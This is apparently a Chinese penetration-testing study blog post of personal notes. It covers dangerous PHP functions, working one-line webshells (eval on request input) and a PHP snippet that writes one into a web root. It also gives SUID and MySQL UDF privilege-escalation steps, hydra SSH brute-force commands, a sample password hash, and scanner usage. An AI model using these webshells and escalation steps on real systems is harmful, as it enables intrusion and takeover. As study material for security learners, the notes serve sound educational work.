总结

总结

Posted by Kyon-H on April 19, 2024

1. 常见危险函数

  1. eval ()

    mixed eval ( string $code )

    函数 eval() 语言结构是非常危险的, 因为它允许执行任意 PHP 代码。<?php @eval($_POST['v']);?>—— 常见的一句话木马。

  2. assert()

    bool assert ( mixed $assertion [, string $description ] )

    php语言危险函数

  3. call_user_func() php函数把第一参数作为回调函数
  4. array_map() php函数为数组的每个元素应用回调函数
  5. ``反引号 <?php echo `whoami`;?>
  6. exec python语言危险函数
  7. java中没有类似php中的eval函数,但是有反射机制,并有各种基于反射机制的表达式引擎,如:OGNL、SpEL等

sqli

2. GETSHELL到UDF提权

2.1. 信息收集

打点技术 端口 ip 域名 邮箱 手机

端口扫描:

namp:nmap -sS -Pn -v -a

   
-sS 隐蔽扫描
-Pn 服务器禁止ping命令,跳过主机发现的过程进行端口扫描,-p0也要类似的效果
-P0 免Ping 扫描,穿透防火墙,避免被防火墙发现
-v 显示扫描过程
-A 全面的系统扫描:包括打开操作系统探测、版本探测、脚本扫描、路径跟踪
-sP ping扫描
-p 指定端口范围(-p 1-65535)

3. www 提权

SUID 提权

image-20221204205003625.png

nmap, find, vim, bash, more, less, nano, cp, awk, mv

1、查找那些命令有 suid

1
find / -user root -perm -4000 -print 2>/dev/null

2、发现 find 命令有 suid,可以提权

1
2
find <filename> -exec whoami \; # 回显root
chattr -i <filename> # 修改文件为可修改
1
2
3
4
5
6
7
8
a:让文件或目录仅供附加用途。
b:不更新文件或目录的最后存取时间。
c:将文件或目录压缩后存放。
d:将文件或目录排除在倾倒操作之外。
i:不得任意更动文件或目录。
s:保密性删除文件或目录。
S:即时更新文件或目录。
u:预防意外删除。

3.1. 一句话木马

使用 fputs() 写入木马到指定路径

1
2
3
4
5
6
7
<?php
$path="C:/xampp/htdocs/dashboard/output.php";
$content='<?php eval($_REQUEST["a"]);?>';
$fp=fopen($path,"w");
fputs($fp, $content);
fclose($fp);
?>

3.2. getshell

  1. 利用 3306 端口,获取 mysql 用户名密码
  2. 查询系统位数,32/64 show variables like ‘%compile%’;
  3. 利用 mysql-udf 提权 用户自定义函数 建立一张表,将 dll16 进制文件临时存放到表中。使用 mysql < *.sql 或使用数据库连接工具。
  4. 查询是否有导出权限 show global variables like ‘secure%’;
  5. 导出位置 select version(); mysql<5.0 任意 5.0<=mysql<5.1 放在系统目录 mysql>=5.1 lib/plugin
  6. 导出到指定位置 show variables like ‘plugin%’; SELECT udf FROM temp_udf INTO DUMPFILE “plugin_dir”;

4. tools

NMAP

   
-sS 隐蔽扫描
-Pn 服务器禁止ping命令,跳过主机发现的过程进行端口扫描,-p0也要类似的效果
-P0 免Ping 扫描,穿透防火墙,避免被防火墙发现
-v 显示扫描过程
-A 全面的系统扫描:包括打开操作系统探测、版本探测、脚本扫描、路径跟踪
-sP ping扫描
-p 指定端口范围(-p 1-65535)

4.1. dirb使用

dirb是一个基于字典的目录扫描工具,会采用递归的方式去获取更多的目录,支持代理,延迟访问和添加请求头。此工具在kali中自带。

dirb是一个目录扫描工具,类似于御剑一样,所以对于大多数情况而言,如果对一个网站的语言不是很清楚,可以直接使用语句 dirb http://114.67.175.224:17896 进行扫描即可。

但这种方法可能会浪费时间,也可能访问过多被封IP,所以最好使用dirb扫描的时候设置一下参数。

参数 作用
-a 设置User-Agent
-p proxy,设置代理
-c cookie,设置cookie
-z 设置访问间的延迟,单位毫秒
-o oupput,可以控制输出结果到指定的路径文件中
-i 不区分大小写
-X 如果已经确定要扫描的文件后缀,可以使用此参数,直接加上后缀

-z可以设置一下,避免ip被封,-X(大写)也可以设置,某种程度上也可以加速扫描

hydra

1
2
3
4
5
6
7
8
9
# 在线爆破
hydra <ip> ssh -f -L user.txt -P password.txt -t 20
# 离线爆破
# 拿到存储密码的文件: /etc/passwd , /etc/shadow
# 工具: john、hashcat
kali:$y$j9T$syJ4c33f2G3t4qhVR/geu.$0RGhUWfVibVvPWIP3hcZD.b859AGmMtdPyTvmc5tLxC:19212:0:99999:7:::
$y 加密方式 yescrypt
$j9T$syJ4c33f2G3t4qhVR/geu 密码

FUZZ

kali自带wfuzz

1
wfuzz -w <字典文件> http://192.168.30.134/index.php?FUZZ

CMSEEK

cms指纹识别

1
cmseek -u <url>

WPSCAN

kali自带

扫描wordpress专用工具

1
wpscan --url <url> --enumerate u #u 获取用户名

AWVS

Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞。在漏洞扫描实战过程中,一般会首选AWVS,因为这个能扫描出来的漏洞很多,而且使用比较简单。

APPScan

IBM AppScan是一款非常好用且功能强大的Web 应用安全测试工具,曾以 Watchfire AppScan 的名称享誉业界,Rational AppScan 可自动化 Web 应用的安全漏洞评估工作,能扫描和检测所有常见的 Web 应用安全漏洞,例如 SQL 注入(SQL-injection)、跨站点脚本攻击(cross-site scripting)、缓冲区溢出(buffer overflow)及最新的 Flash/Flex 应用及 Web 2.0 应用曝露等方面安全漏洞的扫描。

AppScan 好处在于误报是最少的,相比WVS扫描更慢。

5. IP分类

A类地址: 1.0.0.0-126.255.255.255。0+7位网络号+24位主机号。用于最大型网络。10.0.0.0-10.255.255.255是私有地址。

B类地址: 128.0.0.0-191.255.255.255。10+14位网络号+16位主机号。用于中型网络。172.16.0.0-172.31.255.255是私有地址。169.254.0.0-169.254.255.255是保留地址。如果设备的IP地址设置为自动获取,而在网络上又没有找到可用的DHCP服务器,将从保留地址中获取一个IP地址。

C类地址: 192.0.0.0-223.255.255.255。110+21位网络号+8位主机号。用于小型网络的单点网络通信。192.168.0.0-192.168.255.255是私有地址。

D类地址: 224.0.0.0-239.225.225.225。1110+28位多播组号。只用于组播。

E类地址: 240.0.0.0-255.255.255.254。11110+27位留用。用于试验。

5.1. localhost和127.0.0.1区别

localhost是不经网卡传输!它不受网络防火墙和网卡相关的的限制。

127.0.0.1是通过网卡传输,依赖网卡,并受到网络防火墙和网卡相关的限制。

6. 内网渗透

工作组和域

image-20221128201500632.png

委派方式

非约束性委派:对委派机器没有限制

约束性委派

基于资源的约束性委派